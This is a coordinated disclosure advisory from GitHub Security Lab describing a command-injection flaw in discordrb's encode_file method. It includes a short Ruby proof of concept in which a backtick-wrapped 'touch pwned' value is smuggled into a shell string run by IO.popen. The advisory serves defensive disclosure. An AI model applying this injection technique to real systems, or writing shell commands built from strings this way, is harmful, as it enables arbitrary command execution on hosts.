Coordinated Disclosure Timeline

Summary

The encode_file method may lead to remote code execution if invoked with untrusted user-controlled data.

Product

discordrb

Tested Version

3.4.1 (latest)

Details

Issue: Unsafe construction of shell command in encode_file (GHSL-2022-094)

The encoder.rb file unsafely constructs a shell string using the file parameter, which can potentially leave clients of discordrb vulnerable to command injection.

The library is not directly exploitable: the exploit requires that some client of the library calls the vulnerable method with user input. However, if unsafe input reaches the library method, then an attacker can execute arbitrary shell commands on the host machine. Here is the CodeQL result.

Proof of Concept

Here is a PoC (relevant code copy-pasted into the PoC for ease of setup).

The observed effect should be that a new file pwned is created in the current working directory.

## This is how the PoC would be if you setup discordrb. 
# require 'discordrb'
# bot = Discordrb::Voice::Encoder.new
# bot.encode_file(`touch pwned`)


ffmpeg_command = "foo" # unrelated
options = "" # unrelated
filter_volume_argument = "bar" # unrelated

# Command that will be executed
file = "`touch pwned`"

# This command should be build as an array instead of a string, that way injection would be impossible!
command = "#{ffmpeg_command} -loglevel 0 -i \"#{file}\" #{options} -f s16le -ar 48000 -ac 2 #{filter_volume_argument} pipe:1"
IO.popen(command)

Impact

This issue may lead to Remote Command Execution (RCE).

Resources

CodeQL for Ruby - Unsafe shell command constructed from library input.

CodeQL Result

CVE

Credit

This issue was discovered and reported by GHSL team member @erik-krogh (Erik Krogh Kristensen).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2022-094 in any communication regarding this issue.